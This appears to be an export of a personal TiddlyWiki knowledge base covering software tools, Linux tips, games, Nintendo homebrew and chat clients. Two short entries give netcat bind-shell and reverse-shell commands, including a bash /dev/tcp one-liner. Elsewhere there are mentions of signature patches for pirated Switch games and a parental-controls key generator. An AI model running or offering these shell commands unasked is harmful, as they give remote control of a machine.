                                • javascript-quiz-library โ€” Very simple JS library for quiz creation โ€” [Git]

                                Do-all

                                • jQuery โ€” write less, do more for general operations (has optional libraries for selectors and UI) โ€” [Git]
                                  • cheerio โ€” The fast, flexible & elegant library for parsing and manipulating HTML and XML, slimmer substitute for jQuery, works on Node
                                • Licia โ€” utility library to get daily works done โ€” [Git]
                                • Lodash โ€” More modern fork of Underscore, useful for working with data objects ...supports "Custom Builds" that include only the functions you want โ€” [Git]
                                • ๐Ÿš zx โ€” A tool for writing better scripts, it's like better sh scripting done via JavaScript. โ€” [Git]

                                Polyfills

                                These are for adding newer APIs to older browsers when making a webapp that uses them.

                                Octt 6th February 2023 at 11:15am

                                johncena141 (jc141) is specialized in the field of compiling and distributing free repacks of current PC games for GNU+Linux.

                                Before their arrival to the GNU+Linux gaming scene in 2020-2021, obtaining known-safe and working repacks of games for the platform was a challenge, with native Linux repacks being almost impossible to find and Windows ones often not working.

                                In just about a year, johncena141 has become the most trusted repacker among GNU+Linux gamers, by putting the focus of their work directly and exclusively on GNU+Linux, as well as proving transparency and efficiency in their operations.

                                Octt 30th January 2024 at 4:26pm

                                Wikipedia

                                Embed of https://en.m.wikipedia.org/wiki/JSON

                                Octt 6th February 2023 at 11:15am
                                Octt 17th February 2023 at 8:15am

                                I'm realizing that I'm doing everything kinda randomly, so it's probably good to define some points about keeping a personal knowledge base.

                                How are the others doing it?
                                It's good to find other personal wikis online, be they in Zettelkasten or tree form, and just browse them.
                                Is the TiddlyWiki-Zettelkasten method actually the best for me?
                                Who mantains paper-based personal wikis and why? Are others doing non-Zettelkasten paper wikis?
                                Defining objectives
                                What is the pratical reason of the KB?
                                Why keep one at all, instead of just a personal classic-style website for archiving and sharing complex information + simple and fast bookmarks for simple links?
                                Avoiding deviations?
                                With a digital system, which has full-text search, manually organizing information is wasting time if overdone.
                                Don't ever think for more than a few seconds on how to format something... Is this a good idea or can it make so knowledge is harder to absorb in the future (e.g. due to inconsistencies).
                                Is defining, once and for all, an efficient and fast modus operandi for everything, that covers everything, and then applying it mechanically every time, a good idea?
                                Kernel postinst issue on Linux Mint
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                                  Kernel postinst issue on Linux Mint

                                  Octt 17th August 2023 at 10:58pm

                                  The other day I got my Linux Mint system not booting anymore. I suspected this was due to my custom script I placed in /etc/kernel/postinst.d/ that is needed to copy the latest kernel in my EFI partition after an APT update, to allow boot via efistub bypassing grub. Maybe an unattended upgrade of my kernel failed.

                                  After manually fixing the EFI partition to boot again in the system, I tried manually to run apt upgrade, and saw that my postinst script threw an error due to not finding one of the files to copy from /boot to /boot/efi.

                                  After a quick web search, I saw that files in /etc/kernel/postinst.d should be numbered as they get run in the proper order by run-parts. I did ls on the directory where I've put my script to be certain that it was the very last, and actually it wasn't.

                                  $ ls
                                  dkms
                                  initramfs-tools
                                  pm-utils
                                  ---> UpdateEfiBoot <--- My script
                                  xx-update-initrd-links
                                  zz-shim
                                  zz-update-grub

                                  This was ugly to fix since, as seen in this list, my distro's mantainers are geniuses and decided to get rid of numbers, and instead prefer to just use alphabetical ordered naming, falling back to ugly letter suffixes when that plan failed. I renamed my script from UpdateEfiBoot to zzz-UpdateEfiBoot, thus making it appear at the end of an alphabetical listing and sure enough that fixed the issue: running apt upgrade again completed the update without errors and my script did its job.

                                  Octt 5th November 2023 at 9:48pm

                                  Wikipedia

                                  Embed of https://en.m.wikipedia.org/wiki/Computer keyboard

                                  • Keyboard University โ€” The first and last resource youโ€™ll ever need for mechanical keyboards. Courses and content for newcomers and expert builders alike.
                                  • Monkeytype โ€” The most customizable typing website with a minimalistic design and a ton of features. Test yourself in various modes, track your progress and improve your speed โ€” [Git]
                                  Octt 6th February 2023 at 11:15am

                                  Keyoxide is a libre, self-hostable tool to create and verify online identities, like different profiles, through cryptography.

                                  Octt 13th February 2023 at 4:40pm
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                                  Wikipedia

                                  Embed of https://en.m.wikipedia.org/wiki/Knowledge Management

                                  Paradigms similar to this wiki:

                                  • Dendron โ€” The personal knowledge management (PKM) tool that grows as you do! โ€” [Git]
                                  • Logseq โ€” A privacy-first, open-source platform for knowledge management and collaboration. โ€” [Git]
                                  • Obsidian
                                    • ๐Ÿก Obsidian Digital Garden โ€” Publish your notes to the web, for free. In your own personal garden. โ€” [Git] โ€” Nice thing but it's sad that navigation is really borked without JavaScript.

                                  The "Notion paradigm", and alternative apps:

                                  • Notion โ€” Your connected workspace for wiki, docs & projects โ€” it's basically online-only (or online-first?), so not recommended since it's also entirely proprietary, and documents are very limited when exported... plus it's really slow with much data because of the network requirements
                                  • anytype โ€” the everything app for those who celebrate trust & autonomy โ€” [Git]
                                  • AppFlowy โ€” open-source alternative to Notion for project management โ€” [Git]

                                  Misc:

                                  Octt 13th February 2023 at 4:24pm

                                  KOReader is a document viewer for E Ink devices. Supported fileformats include EPUB, PDF, DjVu, XPS, CBT, CBZ, FB2, PDB, TXT, HTML, RTF, CHM, DOC, MOBI and ZIP files. Itโ€™s available for Kindle, Kobo, PocketBook, Android and desktop Linux.

                                  Octt 23rd December 2023 at 4:06pm

                                  Wikipedia

                                  Embed of https://en.m.wikipedia.org/wiki/Kotlin

                                  Octt 26th February 2024 at 2:16pm

                                  Wikipedia

                                  Embed of https://en.m.wikipedia.org/wiki/Language

                                  Misc
                                  Help, is this arabic?

                                  Fictional and constructed languages

                                  Translation

                                  Tools
                                  Machine translation: DeepL.com | Translate.Google.com | ...
                                  • DeepLX โ€” DeepL Free API (No TOKEN required)
                                  • Argos Translate โ€” Open-source offline translation library written in Python (is what powers LibreTranslate?) โ€” apparently supports document translation, even HTML
                                  • Lingva Translate โ€” Self-hostable alternative front-end and API for Google Translate โ€” [Git] [Scraper Git] โ€” note: the official instance appears broken, returning error for translations with specific characters, and also less metadata from the API, problems that some other public instances don't have (official may be running an older version?)
                                  • Mozhi โ€” alternative-frontend for many translation engines [Scraper Git] (Google support broken as of 2023/11)
                                  • Yandex Translate โ€” had OCR on web before Google
                                  Octt 2nd March 2023 at 12:04pm
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                                  Wikipedia

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                                  RetroArch

                                  Wikipedia

                                  Embed of https://en.m.wikipedia.org/wiki/RetroArch

                                  • RetroArchLeaks โ€” Small collection of IRC logs, mostly from #retroarch. Mostly mudslinging and drama.
                                  Octt 20th February 2024 at 12:45pm
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                                  Wikipedia

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                                  Docs

                                  Manpages

                                  Misc

                                  Benchmarks

                                  Troubleshooting, practical guides

                                  Linux/
                                  Advanced
                                    โ–ช๏ธ

                                    Linux/Advanced

                                    Octt 19th January 2024 at 4:38pm
                                    Linux/
                                    Distros
                                      โ–ช๏ธ

                                      Linux/Distros

                                      Octt 22nd February 2024 at 12:36pm

                                      Wikipedia

                                      Embed of https://en.m.wikipedia.org/wiki/Linux distro

                                      Void

                                      Linux/
                                      Snippets
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                                        Linux/Snippets

                                        Octt 23rd December 2023 at 4:28pm
                                        How to mount a local directory without root
                                        bindfs --no-allow-other /source/directory /mount/point
                                        Create a File of a Certain Size in Linux
                                        fallocate -l 100M ${File}
                                        How to cut a file to a given size under Linux?
                                        truncate --size=1G ${File}
                                        Misc
                                        xdotool list of key codes
                                        Linux/
                                        Userspace
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                                          Linux/Userspace

                                          Octt 10th December 2023 at 10:21pm

                                          Misc tools

                                          Octt 6th February 2023 at 11:16am
                                          • 2023-01-10
                                            "This group is unavailable due to copyright infringement."
                                            I commenti erano appena stati attivati sul canale Telegram Animali_Crostini, tramite un gruppo chiamato "This group is unavailable due to copyright infringement", per scherzare sui modi di fare in generale di Nintendo contro chi viola il copyright. Intanto su spacctorium si stava discutendo di argomenti che potrebbero essere visti come violazione dei copyright (non di Nintendo). Ad un certo punto, noto un commento di L. nel gruppo del canale di Animali_Crostini, e invio una reazione come risposta. A quel punto, L. riceve una notifica desktop con il pauroso nome del gruppo, e l'anteprima del mio messaggio; immediatamente fa un avviso raffazzonato su spacctorium (senza porsi domande su perchรฉ fosse ancora visibile col nome normale) e scappa via, per poi scrivermi in privato. Ha creduto per un momento qualcosa di assurdo: che da ora Telegram faccia analisi in tempo reale dei messaggi per individuare violazioni di copyright. Ho dovuto spiegargli io la situazione. TLDR: รˆ avvenuto del trolling pesantissimo, ma involontario.
                                          Octt 13th April 2023 at 9:06am

                                          Wikipedia

                                          Embed of https://en.m.wikipedia.org/wiki/Lorem ipsum

                                          5 paragraphs of Lorem ipsum

                                          Embed of https://www.lipsum.com/feed/html

                                          Octt 9th November 2023 at 12:13am
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                                          Embed of https://fr.m.wikipedia.org/wiki/Lucky_Patcher

                                          In Italia lo chiamiamo anche [Fortunello|Fortunato][Cerottatore|Rattoppante].

                                          Octt 21st December 2023 at 7:02pm

                                          Wikipedia

                                          Embed of https://en.m.wikipedia.org/wiki/LXC

                                          • Exploring simple Linux containers with lxc โ€” Get started with simple containers using the tools available in the lxc project.
                                          • LXC and mount point. Permission denied
                                            • Unprivileges LXCs use user/group remapping. So UID/GID 0-65535 inside the LXC will be UID/GID 100000-165535 on the host. To access the bind-mount from inside the LXC with (example) UID 1000 and GID 1000 that folder would need to be owned by UID 101000 and GID 101000 on the host. So to fix (example): chown -R 101000:101000 ${Folder}.
                                          Octt 6th February 2023 at 11:15am
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                                          Wikipedia

                                          Embed of https://en.m.wikipedia.org/wiki/Mario_Kart

                                          Octt 25th February 2023 at 6:44pm

                                          Wikipedia

                                          Embed of https://en.m.wikipedia.org/wiki/Mario Kart DS

                                          What I like
                                          Controls are good and responsive, not "gummy" like in the next entries of the saga, and not hard like in the Mode-7 entries.
                                          The Mission Mode is a nice addition to the game, with good variety.
                                          I like the simple 3D that still manages to look refined and attractive, I'd say unlike Mario Kart 64.
                                          Especially fun in online play, compared to other entries.
                                          What I don't like
                                          A small chunk of the retro courses is bland and uninteresting, compared to the average normal course.
                                          Not enough soundtracks, they all get reused for many different courses and get boring.
                                          Octt 17th December 2023 at 12:43am
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                                          Wikipedia

                                          Embed of https://en.m.wikipedia.org/wiki/Markdown

                                          Octt 8th February 2024 at 12:45am

                                          Wikipedia

                                          Embed of https://en.m.wikipedia.org/wiki/Mastodon_(social_network)

                                          Clients

                                          • Brutaldon โ€” A brutalist web interface for Mastodon โ€” [Git]
                                          • tooot โ€” Simple and open source mobile (iOS/Android) client of Mastodon, started with a focus for Chinese community. โ€” [Git]
                                          • Pinafore โ€” Alternative web client for Mastodon (UNMAINTAINED) โ€” [Git]
                                          • Elk (alpha) โ€” A nimble Mastodon web client โ€” [Git]
                                          Octt 28th April 2023 at 7:04pm

                                          Wikipedia

                                          Embed of https://en.m.wikipedia.org/wiki/Math

                                          Utilities

                                          Geometry

                                          Calculus

                                          • Cymath - Minimal Web CAS, works better than others
                                          • Photomath - Mobile offline CAS app (badly programmed, requires Google Play Services on Android)
                                          • Symbolab - Web CAS, free version is limited
                                          • Wolfram Alpha - Computational intelligence
                                          Octt 28th January 2024 at 12:45am
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                                          Wikipedia

                                          Embed of https://en.m.wikipedia.org/wiki/Matrix (protocol)

                                          Clients
                                          Element โ€” glossy Matrix collaboration clients โ€” Flagship client; Web-Desktop and Mobile are different codebases โ€” [Git] [Element Matrix Services SaaS Docs]
                                          • Spaccamient โ€” mobile-first Element Web fork โ€” [Git]
                                          • SchildiChat is a feature-rich messenger for Matrix based on Element with some extras and tweaks. โ€” [Git]
                                          Hydrogen โ€” (WIP by Element team) Lightweight matrix client with legacy and mobile browser support โ€” [Git]
                                          FluffyChat โ€” open source, nonprofit and cute matrix messenger app โ€” [Git]
                                          Servers
                                          Synapse โ€” Matrix.orgโ€™s reference server โ€” [Git]
                                          Bots
                                          maubot - A plugin-based Matrix bot system โ€” [GitHub] [GitLab (CI)] [Matrix] [Docs]
                                          Matrix Hookshot โ€” A bridge between Matrix and multiple project management services, such as GitHub, GitLab and JIRA. โ€” [Git]
                                          Bridges
                                          All by mautrix: https://github.com/mautrix โ€” [Docs]
                                          All by mx-puppet: https://gitlab.com/mx-puppet

                                          Misc

                                          • Maunium sticker picker โ€” fast and simple Matrix sticker picker widget. Tested on Element Web, Android & iOS
                                          • Third Room (w/WebSG) โ€” Open, decentralized, immersive worlds built on Matrix โ€” [Git]
                                          Octt 13th February 2023 at 4:25pm

                                          MeBoy is a libre (GPLv2) Game Boy (and Game Boy color) emulator for the J2ME platform.

                                          Octt 29th March 2024 at 12:04pm

                                          Wikipedia

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                                          • itch.io โ€” open marketplace for independent digital creators with a focus on independent video games
                                          Octt 27th December 2023 at 1:23am

                                          Wikipedia

                                          Embed of https://en.m.wikipedia.org/wiki/MediaWiki

                                          Resources

                                          Tools

                                          • by WikiTeam - Tools for downloading and preserving wikis. We archive wikis, from Wikipedia to tiniest.[
                                            As of 2020, WikiTeam has preserved more than 250,000 wikis.
                                            ]
                                            - [Git WikiTeam]

                                          Help and Learning

                                          Extensions

                                          • Translate - Used to translate software (?) and to manage multilingual wikis in a sensible way

                                          Development

                                          Footnotes
                                          Octt 6th February 2023 at 11:15am

                                          melonDS is (sort of) a libre Nintendo DS emulator.

                                          Over the years of development, the emulator had time to become a mature melon.

                                          Today, while it still needs a lot of work before being complete, it's considered the best NDS emulator available, at least on PC.

                                          Octt 26th February 2023 at 10:17pm
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                                          Wikipedia

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                                          Some MicroBlogs found on the net, saved for any reason:

                                          Octt 7th February 2023 at 9:55pm

                                          Wikipedia

                                          Embed of https://en.m.wikipedia.org/wiki/Microsoft

                                          Products

                                          News

                                          March 2023
                                          Tell HN: Microsoft Teams is blocking Firefox Nightly
                                          Octt 6th February 2023 at 11:15am
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                                          Wikipedia

                                          Embed of https://en.m.wikipedia.org/wiki/Minecraft

                                          What I like
                                          The open-ended nature of the game, and the freedom to be able to have infinitely many unique experiences.
                                          The graphics are simple (literal blocks with 16x16 textures lol), but colorful and inviting; they can however even be brought to photorealistic levels with (heavy) shaders.
                                          Easy to "pick-up and play" for short sessions, but can also make you pass some hours.
                                          The basis of the game are simple and can be grasped by anyone, but you never stop learning as you go deeper and deeper.
                                          What I don't like
                                          The Java Edition is heavy and unoptimized, but the Bedrock and Legacy Console Edition are very proprietary and hard to extend.
                                          With every new version the game gets more and more bloated, confusing, harder to grok, distracting.

                                          Clones

                                          • Minetest โ€” open source voxel game engine with easy modding and game creation โ€” [Git]
                                          • CavEx โ€” Project to recreate your favourite block game for the Wii (Beta 1.7.3)
                                          • Blocks TI-84 โ€” Minecraft-esque game for the TI 84 CE calculator

                                          Misc

                                          • Legacy-Docs โ€” Documentation about Minecraft: Legacy Console Edition with Vue Press โ€” [Git]
                                          Octt 19th September 2023 at 6:49am
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                                          Wikipedia

                                          Embed of https://en.m.wikipedia.org/wiki/Minigame

                                          Octt 30th January 2024 at 12:41am

                                          Wikipedia

                                          Embed of https://en.m.wikipedia.org/wiki/MIPS architecture

                                          Octt 30th January 2024 at 4:36pm

                                          Wikipedia

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                                          What I like
                                          Fast pacing mixed with parkour platforming and close-combat mechanics, gives you adrenaline.
                                          The first game is more saturated, the second has more realistic graphics, however they are both very colorful.
                                          Haven't played the first enough, but I can say the second is extremely immersive, even on a ~20" 1360x768 monitor at mid details.
                                          Octt 30th January 2024 at 3:23pm

                                          Wikipedia

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                                          Misskey is an open, semi-decentralized social media platform. Decentralization is founded on the ActivityPub protocol.

                                          Octt 30th January 2023 at 8:17am
                                          Octt 6th February 2023 at 9:14pm

                                          List of some mobile games to keep in mind.

                                          • Angry Birds
                                          • Jetpack Joyride
                                          • krassesSpiel
                                          • Subway Surfers
                                          • Temple Run
                                          • Zombie Tsunami
                                          Octt 9th February 2023 at 3:12pm
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                                          Wikipedia

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                                          Octt 8th October 2023 at 10:29pm

                                          Wikipedia

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                                          • The MSYS2 shell automatically tries to convert some paths from Unix to Windows (see https://www.msys2.org/docs/filesystem-paths/#automatic-unix-windows-path-conversion), but sometimes this is problematic; to disable it, one can export/call the environment variables MSYS2_ARG_CONV_EXCL and MSYS2_ENV_CONV_EXCL, for cmdline arguments and variable assignments respectively, to * to match all or to specific ;-separated argument prefixes / variable names.
                                          Octt 26th February 2024 at 1:47pm

                                          Wikipedia

                                          Embed of https://en.m.wikipedia.org/wiki/Music

                                          The section immediately below doubles as a collection of my Favorite Artists + their Works

                                          [#] Music Archiving Status

                                          Album Got
                                          Any?
                                          Got
                                          Verified Lossless?
                                          Uploaded
                                          on Archive.org?
                                          Notes

                                          Future / To do

                                          Albums: FUGENE

                                          Artists: Desired, Future Girlfriend, In Love With A Ghost, Macross 82-99, nyankobrq, SoLush, YUC'e, Yunomi

                                          Octt 8th May 2023 at 8:58pm

                                          Album Got
                                          Any?
                                          Got
                                          Verified Lossless?
                                          Uploaded
                                          on Archive.org?
                                          Notes

                                          Future / To do

                                          Albums: FUGENE

                                          Artists: Desired, Future Girlfriend, In Love With A Ghost, Macross 82-99, nyankobrq, SoLush, YUC'e, Yunomi

                                          Octt 22nd December 2023 at 10:56pm
                                          Primary Resources
                                          Code (Git)
                                          Video explanation: Let's build GPT: from scratch, in code, spelled out
                                          Additional Resources
                                          Training nanoGPT on my Journal - [OcttArchive]

                                          My Experience

                                          Done training on my main laptop, with PyTorch 2 nightly, and CPU training, because: * I failed to install all required dependencies on my desktop, both on Void Linux musl (bare-metal) and Ubuntu Jammy (chroot). * I now had to use my slow laptop, but issues with NVIDIA drivers meant no GPU training.

                                          (TODO: Write my results)

                                          Octt 8th May 2023 at 9:43pm
                                          Octt 19th January 2024 at 12:11am
                                          netcat/
                                          Normal Shell
                                            โ–ช๏ธ

                                            netcat/Normal Shell

                                            Octt 6th February 2023 at 11:15am

                                            From https://unix.stackexchange.com/a/345628:

                                            Run on host to spawn a network-attached shell (requires bash due to coproc):

                                            coproc netcat -l -p $PORT
                                            exec bash <&${COPROC[0]} >&${COPROC[1]} 2>&1

                                            Run on client to connect to host:

                                            nc $ADDRESS $PORT
                                            netcat/
                                            Reverse Shell
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                                              netcat/Reverse Shell

                                              Octt 6th February 2023 at 11:15am

                                              0. Run on master (requires netcat):

                                              nc -l -vv -p $PORT

                                              1. Run on slave:

                                              bash -i &> /dev/tcp/$ADDRESS/$PORT 0>&1
                                              Octt 21st December 2023 at 11:39pm

                                              Wikipedia

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                                              • nic.eu.org โ€” EU.org, free domain names since 1996
                                              • (yourname.)js.org โ€” Are you a JavaScript developer looking for free webspace to host your project? โ€” [Git]
                                              Octt 13th February 2024 at 9:33pm

                                              Wikipedia

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                                              Resources

                                              Tools

                                              Misc

                                              Octt 23rd December 2023 at 11:41pm

                                              Wikipedia

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                                              • Boing Boing โ€” The award-winning zine, blog and directory of mostly wonderful things.
                                              Octt 7th January 2024 at 12:02pm

                                              Wikipedia

                                              Embed of https://en.m.wikipedia.org/wiki/Newsgroup

                                              Browse newsgroup archives online:

                                              Details and downloads of archives

                                              Octt 1st February 2024 at 11:31pm

                                              Wikipedia

                                              Embed of https://en.m.wikipedia.org/wiki/Nginx

                                              Resources

                                              Octt 23rd February 2024 at 12:40am

                                              Wikipedia

                                              Embed of https://en.m.wikipedia.org/wiki/Nintendo

                                              Tools
                                              mkey generator - 3DS / Wii U / Switch parental controls master key generator - [Git]
                                              NDSTokyoTrim - batch trimmer with wifi detection โ€” [Thread]

                                              News

                                              March 2023
                                              Chinese Nintendo hardware leaker permabanned, thread deleted at Nintendo's request.
                                              Octt 26th February 2024 at 2:00pm

                                              Wikipedia

                                              Embed of https://en.m.wikipedia.org/wiki/Nintendo 3DS

                                              Octt 20th September 2023 at 3:47pm

                                              Wikipedia

                                              Embed of https://en.m.wikipedia.org/wiki/Nintendo 64

                                              • Awesome N64 Development โ€” A curated list of Nintendo 64 development resources including toolchains, documentation, emulators, example code, and more! โ€” [Git]
                                              Octt 26th February 2024 at 1:10pm

                                              Nintendo DS is a family of portable game consoles created by Nintendo, succeding and preceding the GBA and 3DS families respectively.

                                              Wikipedia

                                              Embed of https://en.m.wikipedia.org/wiki/Nintendo DS

                                              Emulators

                                              ...WIP

                                              Tools

                                              • dlditool โ€” Dynamically Linked Disk Interface patch tool for NDS homebrew ROMs

                                              Development

                                              PictoChat

                                              Wikipedia

                                              Embed of https://en.m.wikipedia.org/wiki/PictoChat

                                              • Paperchat โ€” An online Pictochat spiritual successor - Draw and chat in real time! โ€” [Git]
                                              • pict.chat โ€” PictoChat web app with a server written in Java! โ€” [Git]
                                              Nintendo DS/
                                              Software Requiring Only the Bottom Screen
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                                                Nintendo DS/Software Requiring Only the Bottom Screen

                                                Octt 6th February 2023 at 11:15am

                                                Moved

                                                Moved to https://cryptpad.devol.it/sheet/#/2/sheet/view/kcmKvZ03cftF2U9SMlMk8m4s5XRVIVkb0SZTZIDqvL8/embed/

                                                Licensed Games

                                                • Animal Crossing: Wild World โ€ข Top screen is required to see stars, flying balloons, and Gulliver. It also shows the title screen logo, and the 3D world when a menu is open. All gameplay, dialogues, and menus are on the bottom screen, and the stylus or the buttons can be used interchangeably.
                                                • Kirby: Mass Attack โ€ข Top screen shows title screen logo, some tooltips in game, and stats (level name, points, fruits, Kirbys, medals). Gameplay and menus are on bottom screen, and only controlled with the stylus.
                                                • Kirby: Power Paintbrush
                                                • [Patch] New Super Mario Bros. (Macro-Friendly)
                                                • [Partially] Nintendogs
                                                • Picross 3D โ€ข Top screen holds text like menu details and guides (like the tutorials), and puzzle overviews (in the selection menu and while playing), with details and time. The gameplay itself is on the bottom screen, and requires stylus and D-Pad/ABXY. To play without a top screen, it's effectively necessary to learn the unique game mechanics elsewhere (like in video gameplays).
                                                • Picross DS โ€ข Top screen has some text, for menu items details, tutorials and explanations, overwiew of puzzles in the selection menu, and their status (as well as time) while playing them. Gameplay is on the bottom screen, and requires either the D-Pad, A, B buttons, or the stylus (as well as START to access the pause menu).
                                                • Pokemon Dash
                                                • [?] Pokemon Link!
                                                • Puyo Puyo!! 20th anniversary โ€ข Top screen has details for menu entries, some secondary dialogues (the story ones happen on the bottom), points and results, and decorative in-game character animations. Menus can be navigated with either the buttons or the touch screen; gameplay happens on the bottom screen with D-Pad and A/B buttons.
                                                • [?] Puzzle League DS
                                                • Tetris DS
                                                • The Legend of Zelda: Phantom Hourglass
                                                • [?] The Legend of Zelda - Spirit Tracks
                                                • [?] Tingle no Balloon Fight DS
                                                • [?] WarioWare: Do It Yourself
                                                • [?] WarioWare: Touched!

                                                Licensed Apps

                                                • Nintendo DS Browser โ€ข Top screen shows software logos, current URL, WiFi signal status, loading animation, count of loaded/total page elements, random and contextual tooltips, and page scrollback buffer. Menu and web navigation happen entirely on the bottom screen, except when Panorama Mode (desktop view) is enabled. Navigation happens primarily with the stylus; buttons are supported only for some operations.

                                                Homebrew Games

                                                Homebrew Apps

                                                • Colors! DS โ€ข Top screen shows app logo while in the main menu, buttons legend while drawing, and the current drawing when opening a menu or optionally always. The touch screen is needed to select menu items, draw, and calibrate the digitizer; buttons are needed to operate drawing tools (moving, zooming, color picker, undo).
                                                Octt 19th January 2024 at 12:19pm

                                                Wikipedia

                                                Embed of https://en.m.wikipedia.org/wiki/Nintendo Entertainment System

                                                Resources

                                                Emulators

                                                Octt 10th December 2023 at 10:05pm

                                                Nintendo Switch is a family of portable game consoles created by Nintendo. It is notorius for being made of papier-mรขchรฉ, essentially suffering from a variety of structural problems.

                                                The console's introduction was hyped due to it being the first ever Nintendo console to be created with both home and portable use in mind. The name itself comes from the fact that the console can switch, from being connected to a TV to being able to be used standalone.

                                                Misc

                                                Emulators

                                                • Yuzu โ€” experimental open-source Switch emulator from the creators of Citra โ€” [Git]
                                                • Ryujinx โ€” simple, experimental Nintendo Switch emulator โ€” [Git]
                                                • Skyline โ€” Run Nintendo Switch homebrew & games on your Android device! โ€” [Git]
                                                  • Abandoned due to the developers' irrational fear of a Nintendo takedown (in my view they were just tired of mantaining the project and didn't want to take the bad press of a standard resign, this was just an excuse to abandon the project... but at least it's open-source)
                                                  • A slow-going fork has apparently started: Strato

                                                Homebrew, Tools, Hacks

                                                • Alternative OSes: Ubuntu and LineageOS by switchroot
                                                • Custom Firmware: The real best today is Atmosphรจre-NX + related libs.
                                                • Signature patches (needed to run unsigned NSPs, aka homebrew NSPs or pirated games): [WiiDatabase] [Hackintendo] [ShadowOne333]. They were provided by various developers who want to remain mostly anonymous, and they are mostly compiled together by ITotalJustice.
                                                • nsz โ€” Homebrew compatible NSP/XCI compressor/decompressor
                                                • Goldleaf โ€” ๐Ÿ‚ Multipurpose homebrew tool for Nintendo Switch โ€” [Git]
                                                • Tinleaf โ€” No-Bullshit NSP, NSZ, XCI, and XCZ Installer for Nintendo Switch (forked from Awoo Installer without the furry crap) โ€” [Thread]

                                                Development

                                                Octt 6th February 2023 at 11:15am

                                                Nitter is a free and open source alternative Twitter front-end focused on privacy and performance.

                                                Quoting from the project's README:

                                                Inspired by the Invidious project.

                                                • No JavaScript or ads
                                                • All requests go through the backend, client never talks to Twitter
                                                • Prevents Twitter from tracking your IP or JavaScript fingerprint
                                                • Uses Twitter's unofficial API (no rate limits or developer account required)
                                                • Lightweight (60KB vs 784KB from twitter.com)
                                                • RSS feeds
                                                • Themes
                                                • Mobile support (responsive design)
                                                • AGPLv3 licensed, no proprietary instances permitted
                                                Octt 2nd March 2023 at 11:48am

                                                Wikipedia

                                                Embed of https://en.m.wikipedia.org/wiki/Nix (package manager)

                                                Octt 14th February 2024 at 11:47pm

                                                Wikipedia

                                                Embed of https://en.m.wikipedia.org/wiki/Node.js

                                                Resources

                                                Docs
                                                Node.js HTTP Module
                                                Libraries
                                                ink - ๐ŸŒˆ React for interactive command-line apps
                                                Octt 6th February 2023 at 11:15am
                                                Octt 5th March 2023 at 12:08am

                                                Wikipedia

                                                Embed of https://en.m.wikipedia.org/wiki/Nokia

                                                News

                                                February 2023
                                                Nokia launches DIY repairable budget Android phone - [Analysis by Louis Rossmann]
                                                Nokia G22 has removable back and standard screws allowing battery swap in less than five minutes at home
                                                Octt 27th September 2023 at 11:12pm
                                                Octt 27th December 2023 at 1:16am

                                                Wikipedia

                                                Embed of https://en.m.wikipedia.org/wiki/Note-taking

                                                Octt 17th February 2023 at 11:02pm

                                                Wikipedia

                                                Embed of https://en.m.wikipedia.org/wiki/Notebook

                                                Some (small ones) can be cute, I think. It's a shame though that writing on paper, for me, has too many disadvantages as compared to writing digitally... although I should probably just try it for some weeks to verify some ideas.

                                                Octt 23rd December 2023 at 10:36pm

                                                Wikipedia

                                                Embed of https://en.m.wikipedia.org/wiki/NumWorks

                                                Octt 5th November 2023 at 10:20pm

                                                Octt, aka OctoSpacc, or Andrea, is me, the living entity who primarily maintains the OcttKB. I am powered by a natural neural network running on a meat machine, in case that wasn't obvious, but I plan of making a copy (or multiple?) of myself that will live in silicon machines.

                                                Some info about me should go here, I suppose, so here are some points:

                                                • I can program enough things in vanilla JavaScript, Python, sh, C and some Java, and TiddlyWiki (wow). I will also say: I can program with HTML and CSS, just to make you cry with "they're not programming languages!!1!".
                                                  • I've had to use C++, well I hate it. Never had to use Rust, and I'm happy because that syntax scares me.
                                                • I can solve some puzzle games (very little in the grand scheme of all puzzles of this world, but still fun) and play some card games, they fun sometimes.
                                                • Here is my #ShowYourStripes if you're curious โ€” aka the climate change situation also where I live.

                                                After this, there's not a lot more info about me here for now. Tough luck. Maybe go read the about page on my sitoctt in the meantime, there's something more in there: https://sitoctt.octt.eu.org/Chi-Sono.html.

                                                Here are some things I like or do or whatever, that I'm putting here honestly just to get some tiddlers connected together, because I like graphs like the Focus one on the sidebar.

                                                • Graphs.. I just said I like them. Some others are at OcttKB/Data.
                                                • Gaming, but I have special tastes probably.
                                                  • This not only includes videogames, but also puzzle games.
                                                  • [I should write my best picks here...]
                                                • Writing, like on my sitoctt or here.
                                                • Software Development, mostly frontend (CSS is crappy but epic).
                                                  • My Web places wouldn't be as unique if this wasn't the case and I were to only write content.
                                                Octt 28th January 2024 at 12:29am

                                                Welcome to my Personal {Personal Knowledge Base \ Public Notebook}!

                                                General information about the site will soon be available. Licensing information is available here. This is "OcttKB" because I'm Octt. With this thing, I'm learning and thinking in public.

                                                Tips

                                                • Click on tag pills, often as present on top of a tiddler frame, just below the title, to navigate to all tiddlers that are tagged with that tag.
                                                  • Unlike with folders, a tiddler can have many tags at the same time, allowing for non-linear navigation.
                                                • Click on different parts of the title of an open tiddler to navigate between children, both in a folder-like structure (other tiddlers present as path children of the current one, thanks to slash (/) separation), and with the tag structure (tiddlers tagged with the name of the current one).

                                                Table of Contents

                                                Other things
                                                ๐Ÿ“œ๏ธ No-JS Single-Page KB
                                                ๐Ÿ–๏ธ Comments/Issues/PRs (Git)
                                                ๐Ÿณ๏ธโ€๐ŸŒˆ Translate this Site (Google)

                                                External Links

                                                My Hub, Global Home Page: Hub.Octt.EU.org
                                                Links to my blogs, webapps, and social profiles or places

                                                Note: The KB is also served in plain, unencrypted HTTP at the http 5th-level subdomain: http://http.kb.octt.eu.org.

                                                Other Wiki Things

                                                I have made the following into links as they were making this tiddler very laggy, to the point of causing hanging issues on my mobile. Hold thight when opening them (if you're using the JavaScript-rich app, otherwise you're golden).


                                                (Partial) Copyright ยฉ 2022, OctoSpacc || OcttKB is powered by TiddlyWiki.

                                                As with any TiddlyWiki, you can make your own changes right here and save them locally for yourself.

                                                OcttKB/
                                                Data
                                                  โ–ช๏ธ

                                                  OcttKB/Data

                                                  Octt 30th January 2024 at 12:12pm

                                                  Undefined widget 'echarts'




                                                  Undefined widget 'echarts'




                                                  Depth: 3 Undefined widget 'echarts'




                                                  Undefined widget 'echarts'




                                                  I still have to put a lot of stuff here... see OcttKB/WIP

                                                  OcttKB/
                                                  Hacks
                                                    โ–ช๏ธ

                                                    OcttKB/Hacks

                                                    Octt 19th February 2023 at 10:38am
                                                    Macros
                                                    Theming
                                                    $:/palettes/Octt Light

                                                    Modified system and plugin files

                                                    $:/StaticBanner
                                                    (Shown as banner in statically exported pages)
                                                    $:/core/templates/static.content
